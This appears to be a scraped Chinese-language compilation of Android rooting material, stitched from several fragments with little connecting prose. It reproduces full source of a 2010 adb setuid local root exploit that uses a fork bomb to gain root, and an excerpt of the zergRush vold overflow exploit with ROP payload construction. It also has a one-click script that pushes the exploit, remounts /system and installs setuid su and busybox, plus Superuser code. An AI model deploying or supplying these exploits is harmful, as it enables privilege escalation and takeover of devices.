-r--r----- bluetooth bluetooth      935 2010-07-09 20:21 dbus.conf  
drwxrwx--x system   system            2010-07-07 02:05 data   

<manifest xmlns:android="http://schemas.android.com/apk/res/android"  
     ... ...   
   android:sharedUserId="android.uid.system">

　　int execl(c[ON](http://www.dzsc.com/data/iccompany/detail12.html)st char *path, const char *arg, ...);
　　int execlp(const char *file, const char *arg, ...);
　　int execle(const char *path, const char *arg, ..., char *const envp[]);
　　int execv(const char *path, char *const argv[]);
　　int execvp(const char *file, char *const argv[]);
　　int execve(const char *path, char *const argv[], char *const envp[]);

package com.visit.dialoglog;  
 import java.io.DataInputStream;  
 import java.io.DataOutputStream;  
 import java.io.IOException;  
 import android.app.Activity;  
 import android.os.Bundle;  
 import android.util.Log;  
 public class VisitRootfileActivity extends Activity {  
     private static final String TAG = "VisitRootfileActivity";  
     Process process = null;  
     Process process1 = null;     
     DataOutputStream os = null;  
     DataInputStream is = null;  
     /** Called when the activity is first created. */  
     @Override  
     public void onCreate(Bundle savedInstanceState) {  
         super.onCreate(savedInstanceState);  
         setContentView(R.layout.main);  
         try {  
             process = Runtime.getRuntime().exec("/system/xbin/su"); /*这里可能需要修改su
   的源代码 （注掉  if (myuid != AID_ROOT && myuid != AID_SHELL) {*/
            os = new DataOutputStream(process.getOutputStream());  
             is = new DataInputStream(process.getInputStream());  
            os.writeBytes("/system/bin/ls" + " \n");  //这里可以执行具有root 权限的程序了    
             os.writeBytes(" exit \n");  
             os.flush();  
             process.waitFor();  
         } catch (Exception e) {              
             Log.e(TAG, "Unexpected error - Here is what I know:" + e.getMessage());  
         } finally {  
             try {  
                 if (os != null) {  
                     os.close();  
                 }  
                 if (is != null) {  
                     is.close();  
                 }  
                 process.destroy();  
             } catch (Exception e) {  
             }  
         }// get the root privileges  
     }  
 }

android.permission.ACCESS_CHECKIN_PROPERTIES  
 //允许读写访问”properties”表在checkin数据库中，改值可以修改上传  
 android.permission.ACCESS_COARSE_LOCATION   
 //允许一个程序访问CellID或WiFi热点来获取粗略的位置  
 android.permission.ACCESS_FINE_LOCATION   
 //允许一个程序访问精良位置(如GPS)  
 android.permission.ACCESS_LOCATION_EXTRA_COMMANDS   
 //允许应用程序访问额外的位置提供命令   
 android.permission.ACCESS_MOCK_LOCATION   
 //允许程序创建模拟位置提供用于测试   
 android.permission.ACCESS_NETWORK_STATE   
 //允许程序访问有关GSM网络信息  
 android.permission.ACCESS_SURFACE_FLINGER   
 //允许程序使用SurfaceFlinger底层特性  
 android.permission.ACCESS_WIFI_STATE   
 //允许程序访问Wi-Fi网络状态信息  
 android.permission.ADD_SYSTEM_SERVICE   
 //允许程序发布系统级服务   
 android.permission.BATTERY_STATS   
 //允许程序更新手机电池统计信息   
 android.permission.BLUETOOTH   
 //允许程序连接到已配对的蓝牙设备   
 android.permission.BLUETOOTH_ADMIN   
 //允许程序发现和配对蓝牙设备   
 android.permission.BRICK   
 //请求能够禁用设备(非常危险  
 android.permission.BROADCAST_PACKAGE_REMOVED   
 //允许程序广播一个提示消息在一个应用程序包已经移除后  
 android.permission.BROADCAST_STICKY   
 //允许一个程序广播常用intents   
 android.permission.CALL_PHONE   
 //允许一个程序初始化一个电话拨号不需通过拨号用户界面需要用户确认  
 android.permission.CALL_PRIVILEGED   
 //允许一个程序拨打任何号码，包含紧急号码无需通过拨号用户界面需要用户确认  
 android.permission.CAMERA   
 //请求访问使用照相设备   
 android.permission.CHANGE_COMPONENT_ENABLED_STATE   
 //允许一个程序是否改变一个组件或其他的启用或禁用  
 android.permission.CHANGE_CONFIGURATION   
 //允许一个程序修改当前设置，如本地化   


android.permission.CHANGE_NETWORK_STATE  
 //允许程序改变网络连接状态   
 android.permission.CHANGE_WIFI_STATE   
 //允许程序改变Wi-Fi连接状态  
 android.permission.CLEAR_APP_CACHE   
 //允许一个程序清楚缓存从所有安装的程序在设备中  
 android.permission.CLEAR_APP_USER_DATA   
 //允许一个程序清除用户设置   
 android.permission.CONTROL_LOCATION_UPDATES   
 //允许启用禁止位置更新提示从无线模块   
 android.permission.DELETE_CACHE_FILES   
 //允许程序删除缓存文件   
 android.permission.DELETE_PACKAGES   
 //允许一个程序删除包   
 android.permission.DEVICE_POWER   
 //允许访问底层电源管理   
 android.permission.DIAGNOSTIC   
 //允许程序RW诊断资源  
 android.permission.DISABLE_KEYGUARD   
 //允许程序禁用键盘锁   
 android.permission.DUMP   
 //允许程序返回状态抓取信息从系统服务   
 android.permission.EXPAND_STATUS_BAR   
 //允许一个程序扩展收缩在状态栏,android开发网提示应该是一个类似Windows Mobile中的托盘程序  
 android.permission.FACTORY_TEST   
 //作为一个工厂测试程序，运行在root用户  
 android.permission.FLASHLIGHT   
 //访问闪光灯,android开发网提示HTC Dream不包含闪光灯  
 android.permission.FORCE_BACK   
 //允许程序强行一个后退操作是否在顶层activities  
 android.permission.FOTA_UPDATE   
 //暂时不了解这是做什么使用的，android开发网分析可能是一个预留权限.  
 android.permission.GET_ACCOUNTS   
 //访问一个帐户列表在Accounts Service中  
 android.permission.GET_PACKAGE_SIZE   
 //允许一个程序获取任何package占用空间容量  
 android.permission.GET_TASKS   
 //允许一个程序获取信息有关当前或最近运行的任务，一个缩略的任务状态，是否活动等等  
 android.permission.HARDWARE_TEST   
 //允许访问硬件   
 android.permission.INJECT_EVENTS   
 //允许一个程序截获用户事件如按键、触摸、轨迹球等等到一个时间流，android开发网提醒算是hook技术吧  
 android.permission.INSTALL_PACKAGES   
 //允许一个程序安装packages   
 android.permission.INTERNAL_SYSTEM_WINDOW   
 //允许打开窗口使用系统用户界面   
 android.permission.INTERNET   
 //允许程序打开网络套接字   
 android.permission.MANAGE_APP_TOKENS   
 //允许程序管理(创建、催后、 z- order默认向z轴推移)程序引用在窗口管理器中  
 android.permission.MASTER_CLEAR   
 //目前还没有明确的解释，android开发网分析可能是清除一切数据，类似硬格机  
 android.permission.MODIFY_AUDIO_SETTINGS   
 //允许程序修改全局音频设置   
 android.permission.MODIFY_PHONE_STATE   
 //允许修改话机状态，如电源，人机接口等   
 android.permission.MOUNT_UNMOUNT_FILESYSTEMS   
 //允许挂载和反挂载文件系统可移动存储   
 android.permission.PERSISTENT_ACTIVITY   
 //允许一个程序设置他的activities显示  
 android.permission.PROCESS_OUTGOING_CALLS   
 //允许程序监视、修改有关播出电话   
 android.permission.READ_CALENDAR   
 //允许程序读取用户日历数据   
 android.permission.READ_CONTACTS   
 //允许程序读取用户联系人数据   
 android.permission.READ_FRAME_BUFFER   
 //允许程序屏幕波或和更多常规的访问帧缓冲数据   
 android.permission.READ_INPUT_STATE   
 //允许程序返回当前按键状态   
 android.permission.READ_LOGS   
 //允许程序读取底层系统日志文件   
 android.permission.READ_OWNER_DATA   
 //允许程序读取所有者数据   
 android.permission.READ_SMS   
 //允许程序读取短信息   
 android.permission.READ_SYNC_SETTINGS   
 //允许程序读取同步设置   
 android.permission.READ_SYNC_STATS   
 //允许程序读取同步状态   
 android.permission.REBOOT   
 //请求能够重新启动设备   
 android.permission.RECEIVE_BOOT_COMPLETED   
 //允许一个程序接收到   
 android.permission.RECEIVE_MMS   
 //允许一个程序监控将收到MMS彩信,记录或处理  
 android.permission.RECEIVE_SMS   
 //允许程序监控一个将收到短信息，记录或处理   
 android.permission.RECEIVE_WAP_PUSH   
 //允许程序监控将收到WAP PUSH信息  
 android.permission.RECORD_AUDIO   
 //允许程序录制音频   
 android.permission.REORDER_TASKS   
 //允许程序改变Z轴排列任务  
 android.permission.RESTART_PACKAGES   
 //允许程序重新启动其他程序   
 android.permission.SEND_SMS   
 //允许程序发送SMS短信  
 android.permission.SET_ACTIVITY_WATCHER   
 //允许程序监控或控制activities已经启动全局系统中  
 android.permission.SET_ALWAYS_FINISH   
 //允许程序控制是否活动间接完成在处于后台时   
 android.permission.SET_ANIMATION_SCALE   
 //修改全局信息比例   
 android.permission.SET_DEBUG_APP   
 //配置一个程序用于调试   
 android.permission.SET_ORIENTATION   
 //允许底层访问设置屏幕方向和实际旋转   
 android.permission.SET_PREFERRED_APPLICATIONS   
 //允许一个程序修改列表参数PackageManager.addPackageToPreferred()和PackageManager.removePackageFromPreferred()方法  
 android.permission.SET_PROCESS_FOREGROUND   
 //允许程序当前运行程序强行到前台   
 android.permission.SET_PROCESS_LIMIT   
 //允许设置最大的运行进程数量   
 android.permission.SET_TIME_ZONE   
 //允许程序设置时间区域   
 android.permission.SET_WALLPAPER   
 //允许程序设置壁纸   
 android.permission.SET_WALLPAPER_HINTS   
 //允许程序设置壁纸hits   
 android.permission.SIGNAL_PERSISTENT_PROCESSES   
 //允许程序请求发送信号到所有显示的进程中   
 android.permission.STATUS_BAR   
 //允许程序打开、关闭或禁用状态栏及图标Allows an application to open, close, or disable the status bar and its icons.  
 android.permission.SUBSCRIBED_FEEDS_READ   
 //允许一个程序访问订阅RSS Feed内容提供  
 android.permission.SUBSCRIBED_FEEDS_WRITE   
 //系统暂时保留改设置,android开发网认为未来版本会加入该功能。  
 android.permission.SYSTEM_ALERT_WINDOW   
 //允许一个程序打开窗口使用 TYPE_SYSTEM_ALERT，显示在其他所有程序的顶层(Allows an application to open windows using the type TYPE_SYSTEM_ALERT, shown on top of all other applications. )  
 android.permission.VIBRATE   
 //允许访问振动设备   
 android.permission.WAKE_LOCK   
 //允许使用PowerManager的 WakeLocks保持进程在休眠时从屏幕消失  
 android.permission.WRITE_APN_SETTINGS   
 //允许程序写入APN设置  
 android.permission.WRITE_CALENDAR   
 //允许一个程序写入但不读取用户日历数据   
 android.permission.WRITE_CONTACTS   
 //允许程序写入但不读取用户联系人数据   
 android.permission.WRITE_GSERVICES   
 //允许程序修改Google服务地图  
 android.permission.WRITE_OWNER_DATA   
 //允许一个程序写入但不读取所有者数据   
 android.permission.WRITE_SETTINGS   
 //允许程序读取或写入系统设置   
 android.permission.WRITE_SMS   
 //允许程序写短信   
 android.permission.WRITE_SYNC_SETTINGS   
 //允许程序写入同步设置

Process process = Runtime.getRuntime().exec("su");
DataOutputStream os =new
DataOutputStream(process.getOutputStream());
 ......
os.writeBytes("exit\n");
os.flush();
process.waitFor();

   1:int adb_main(int is_daemon)
   2: {
   3:    ......
   4:    property_get("ro.secure", value,"");
   5:    if (strcmp(value,"1") == 0) {
   6:        // don't run as root if ro.secure is set...
   7:        secure = 1;
   8:        ......
   9:    }
  10: 
  11:    if (secure) {
  12:        ......
  13:        setgid(AID_SHELL);
  14:        setuid(AID_SHELL);
  15:        ......
  16:    }
  17: }

   1: # adbd is controlled by the persist.service.adb.enable system property
   2: service adbd /sbin/adbd
   3:    disabled

   1:/* then switch user and group to "shell" */
   2: setgid(AID_SHELL);
   3: setuid(AID_SHELL);

   1:/* then switch user and group to "shell" */
   2:if (setgid(AID_SHELL) != 0) {
   3:    exit(1);
   4: }
   5:if (setuid(AID_SHELL) != 0) {
   6:    exit(1);
   7: }

/* android 1.x/2.x adb setuid() root exploit
 * (C) 2010 The Android Exploid Crew
 *
 * Needs to be executed via adb -d shell. It may take a while until
 * all process slots are filled and the adb connection is reset.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 */
#include <stdio.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>


void die(const char *msg)
{
        perror(msg);
        exit(errno);
}

pid_t find_adb()
{
        char buf[256];
        int i = 0, fd = 0;
        pid_t found = 0;

        for (i = 0; i < 32000; ++i) {
               sprintf(buf, "/proc/%d/cmdline", i);
               if ((fd = open(buf, O_RDONLY)) < 0)
                       continue;
               memset(buf, 0, sizeof(buf));
               read(fd, buf, sizeof(buf) - 1);
               close(fd);
               if (strstr(buf, "/sbin/adb")) {
                       found = i;
                       break;
               }
        }
        return found;
}


void restart_adb(pid_t pid)
{
        kill(pid, 9);
}


void wait_for_root_adb(pid_t old_adb)
{
        pid_t p = 0;

        for (;;) {
               p = find_adb();
               if (p != 0 && p != old_adb)
                       break;
               sleep(1);
        }
        sleep(5);
        kill(-1, 9);
}


int main(int argc, char **argv)
{
        pid_t adb_pid = 0, p;
        int pids = 0, new_pids = 1;
        int pepe[2];
        char c = 0;
        struct rlimit rl;

        printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n");
        printf("[*] checking NPROC limit ...\n");

        if (getrlimit(RLIMIT_NPROC, &rl) < 0)
               die("[-] getrlimit");

        if (rl.rlim_cur == RLIM_INFINITY) {
               printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n");
               exit(1);
        }

        printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
        printf("[*] Searching for adb ...\n");

        adb_pid = find_adb();

        if (!adb_pid)
               die("[-] Cannot find adb");

        printf("[+] Found adb as PID %d\n", adb_pid);
        printf("[*] Spawning children. Dont type anything and wait for reset!\n");
        printf("[*]\n[*] If you like what we are doing you can send us PayPal money to\n"
               "[*] [email protected] so we can compensate time, effort and HW costs.\n"
               "[*] If you are a company and feel like you profit from our work,\n"
               "[*] we also accept donations > 1000 USD!\n");
        printf("[*]\n[*] adb connection will be reset. restart adb server on desktop and re-login.\n");

        sleep(5);

        if (fork() > 0)
               exit(0);

        setsid();
        pipe(pepe);

        /* generate many (zombie) shell-user processes so restarting
         * adb's setuid() will fail.
         * The whole thing is a bit racy, since when we kill adb
         * there is one more process slot left which we need to
         * fill before adb reaches setuid(). Thats why we fork-bomb
         * in a seprate process.
         */
        if (fork() == 0) {
               close(pepe[0]);
               for (;;) {
                       if ((p = fork()) == 0) {
                               exit(0);
                       } else if (p < 0) {
                               if (new_pids) {
                                      printf("\n[+] Forked %d childs.\n", pids);
                                      new_pids = 0;
                                      write(pepe[1], &c, 1);
                                      close(pepe[1]);
                               }
                       } else {
                               ++pids;
                       }
               }
        }

        close(pepe[1]);
        read(pepe[0], &c, 1);


        restart_adb(adb_pid);

        if (fork() == 0) {
               fork();
               for (;;)
                       sleep(0x743C);
        }

        wait_for_root_adb(adb_pid);
        return 0;
}

  1: #！/system/bin/sh
  2: 
  3: /system/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt

  1: service mount_nfs /system/etc/mount_nfs.sh
  2:    oneshot
  3:    disabled

  1:while(true)
  2: {
  3:    mount_rt = SystemProperties.get("init.svc.mount_nfs","");
  4:    if(mount_rt != null && mount_rt.equals("stopped"))
  5:    {
  6:        return true;
  7:    }
  8:    
  9:    try
 10:    {
 11:        Thread.sleep(1000);
 12:    }catch(Exception ex){
 13:        Log.e(TAG,"Exception: " + ex.getMessage());
 14:    }
 15: }

mkdir /data/misc/test1 0770 root root   
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc

service xxxx /system/bin/xxxx
    user root
    disabled
    oneshot

service yyyy /system/bin/yyyy
    user system
    disabled
    oneshot

service zzzz /system/bin/zzzz
    user wifi
    disabled
    oneshot

File su = new File("/system/bin/su");
// 检测su文件是否存在,如果不存在则直接返回
    if (!su.exists())        
    {
        Toast toast = Toast.makeText(this, "Unable to find 

/system/bin/su.", Toast.LENGTH_LONG);
        toast.show();
        return;
    }

    //检测su文件的完整性，比较大小，太省事了吧
    //如果大小一样，则认为su文件正确，直接返回了事。
   if (su.length() == suStream.available())  
   {
     suStream.close(); 
     return;   }

  // 如果检测到/system/bin/su 文件存在，但是不对头，则把自带的su先写到"/data/data/com.koushikdutta.superuser/su"
    //      再写到/system/bin/su。

   byte[] bytes = new byte[suStream.available()];
   DataInputStream dis = new DataInputStream(suStream);
   dis.readFully(bytes);
   FileOutputStream suOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su");
   suOutStream.write(bytes);
   suOutStream.close();
   
   Process process = Runtime.getRuntime().exec("su");
   DataOutputStream os = new DataOutputStream(process.getOutputStream());
   os.writeBytes("mount -oremount,rw /dev/block/mtdblock3 /system\n");
   os.writeBytes("busybox cp /data/data/com.koushikdutta.superuser/su /system/bin/su\n");
   os.writeBytes("busybox chown 0:0 /system/bin/su\n");
   os.writeBytes("chmod 4755 /system/bin/su\n");
   os.writeBytes("exit\n");
   os.flush();

  sprintf(sysCmd, "am start -a android.intent.action.MAIN 
       -n com.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity 

                                 --ei uid %d --ei pid %d > /dev/null", g_puid, ppid);

  if (system(sysCmd))
   return executionFailure("am.");

$ adb shell  
 $ su  
 # am start -n ｛包(package)名｝/｛包名｝.{活动(activity)名称}

<manifest xmlns:android="http://schemas.android.com/apk/res/android" …
package="com.android.calculator2" …>…

# am start -n com.android.music/com.android.music.MusicBrowserActivity
# am start -n com.android.music/com.android.music.VideoBrowserActivity
# am start -n com.android.music/com.android.music.MediaPlaybackActivity
 启动浏览器 :
am start -a android.intent.action.VIEW -d  http://www.google.cn/

拨打电话 :
am start -a android.intent.action.CALL -d tel:10086

启动 google map直接定位到北京 :
am start -a android.intent.action.VIEW geo:0,0?q=beijing

   usage: am [subcommand] [options]  

     start an Activity: am start [-D] [-W] <INTENT>  
         -D: enable debugging  
         -W: wait for launch to complete  

     start a Service: am startservice <INTENT>  

     send a broadcast Intent: am broadcast <INTENT>  

     start an Instrumentation: am instrument [flags] <COMPONENT>  
         -r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT)  
         -e <NAME> <VALUE>: set argument <NAME> to <VALUE>  
         -p <FILE>: write profiling data to <FILE>  
         -w: wait for instrumentation to finish before returning  

     start profiling: am profile <PROCESS> start <FILE>  
     stop profiling: am profile <PROCESS> stop  

     <INTENT> specifications include these flags:  
         [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]  
         [-c <CATEGORY> [-c <CATEGORY>] ...]  
         [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]  
         [--esn <EXTRA_KEY> ...]  
         [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]  
         [-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]  
         [-n <COMPONENT>] [-f <FLAGS>]  
         [--grant-read-uri-permission] [--grant-write-uri-permission]  
         [--debug-log-resolution]  
         [--activity-brought-to-front] [--activity-clear-top]  
         [--activity-clear-when-task-reset] [--activity-exclude-from-recents]  
         [--activity-launched-from-history] [--activity-multiple-task]  
         [--activity-no-animation] [--activity-no-history]  
         [--activity-no-user-action] [--activity-previous-is-top]  
         [--activity-reorder-to-front] [--activity-reset-task-if-needed]  
         [--activity-single-top]  
         [--receiver-registered-only] [--receiver-replace-pending]  
         [<URI>]  

static int checkWhitelist()
{
 sqlite3 *db;
 int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL);
 if (!rc)
 {
  char *errorMessage;
  char query[1024];
  sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid);
  struct whitelistCallInfo callInfo;
  callInfo.count = 0;
  callInfo.db = db;
  rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage);
  if (rc != SQLITE_OK)
  {
   sqlite3_close(db);
   return 0;
  }
  sqlite3_close(db);
  return callInfo.count;
 }
 sqlite3_close(db);
 return 0;
}

 if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))  
     do_root();

明显，当有了 Root 能力后去做一个可以保持 Root 的动作，猜测，此程序会被调用多次，并且再次调用的时候程序名称为 boomsh

看一下 do_root 吧

 写了一个属性 ro.kernel.qemu 为 1
明显是让手机当成模拟器运行，见 \android2.32\system\core\adb\adb.c 中的代码
1.  /* run adbd in secure mode if ro.secure is set and 
2.  ** we are not in the emulator 
3.  */  
4.  property_get("ro.kernel.qemu", value, "");  
5.  if (strcmp(value, "1") != 0) {  
6.      property_get("ro.secure", value, "");  
7.      if (strcmp(value, "1") == 0) {  
8.          // don't run as root if ro.secure is set...   
9.          secure = 1;  
10.   
11.         // ... except we allow running as root in userdebug builds if the    
12.         // service.adb.root property has been set by the "adb root" command   
13.         property_get("ro.debuggable", value, "");  
14.         if (strcmp(value, "1") == 0) {  
15.             property_get("service.adb.root", value, "");  
16.             if (strcmp(value, "1") == 0) {  
17.                 secure = 0;  
18.             }  
19.         }  
20.     }  
21. }  

1.  static **int** do_fault()  
2.  {  
3.      **char** buf[255];  
4.      **int** sock = -1, n = 0, i;  
5.      **char** s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];  
6.      uint32_t bsh_addr;  
7.      **char** padding[128];  
8.      int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);  
9.    
10.     memset(padding, 0, 128);  
11.     strcpy(padding, "LORDZZZZzzzz");  
12.     if(padding_sz > 0) {  
13.         memset(padding+12, 'Z', padding_sz);  
14.         printf("[*] Poping %d more zerglings\n", padding_sz);  
15.     }  
16.     else if(padding_sz < 0) {  
17.         memset(padding, 0, 128);  
18.         memset(padding, 'Z', 12+padding_sz);  
19.     }  
20.   
21.     if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)  
22.         die("[-] Error creating Nydus");  
23.   
24.     sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);  
25.     sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);  
26.     sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);  
27.     sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);  
28.     sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);  
29.   
30.     strcpy(buf, "ZERG");  
31.     strcat(buf, " ZZ ");  
32.     strcat(buf, s_stack_pivot_addr);  
33.     for(i=3; i < buffsz+1; i++)  
34.         strcat(buf, " ZZZZ");  
35.     strcat(buf, " ");  
36.     strcat(buf, s_heap_addr);  
37.           
38.     n = strlen(buf);  
39.     bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;  
40.       
41.     if(check_addr(bsh_addr) == -1) {  
42.         printf("[-] Colossus, we're doomed!\n");  
43.         exit(-1);  
44.     }  
45.   
46.     sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);  
47.   
48.     <strong><span style="color:#ffffff;BACKGROUND-COLOR: #ff0000">n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);</span></strong>  
49.       
50.     printf("[*] Sending %d zerglings ...\n", n);  
51.   
52.     if ((n = write(sock, buf, n+1)) < 0)  
53.         die("[-] Nydus seems broken");  
54.       
55.     sleep(3);  
56.     close(sock);  
57.   
58.     return n;  
59. }  

**一键ROOT脚本**
1.等待设备连接
 adb wait-for-device                          
2.删除文件
 adb shell "cd /data/local/tmp/; rm *"        
3.上传zergRush并修改属性去执行
 adb push c:\zergRush /data/local/tmp/
 adb shell "chmod 777 /data/local/tmp/zergRush"
 adb shell "/data/local/tmp/zergRush"
 adb wait-for-device
4.上传busybox、给busybox文件执行权限，以可以方式加载文件系统
 adb push c:\busybox /data/local/tmp/
 adb shell "chmod 755 /data/local/tmp/busybox"
 adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
5.复制busybox，修改所在的组及设置s位
 adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"
 adb shell "chown root.shell /system/xbin/busybox"
 adb shell "chmod 04755 /system/xbin/busybox"
6.安装busybox并删除临时文件
 adb shell "/system/xbin/busybox --install -s /system/xbin"
 adb shell "rm -rf /data/local/tmp/busybox"
7.对su进行类似busybox的处理
 adb push c:\fu /system/bin/su
 adb shell "chown root.shell /system/bin/su"
 adb shell "chmod 06755 /system/bin/su"
 adb shell "rm /system/xbin/su"
 adb shell "ln -s /system/bin/su /system/xbin/su"
8.安装其它工具
 adb push c:\superuser.apk /system/app/
 adb shell "cd /data/local/tmp/; rm *"
 adb reboot
 adb wait-for-device
 adb install c:\recovery.apk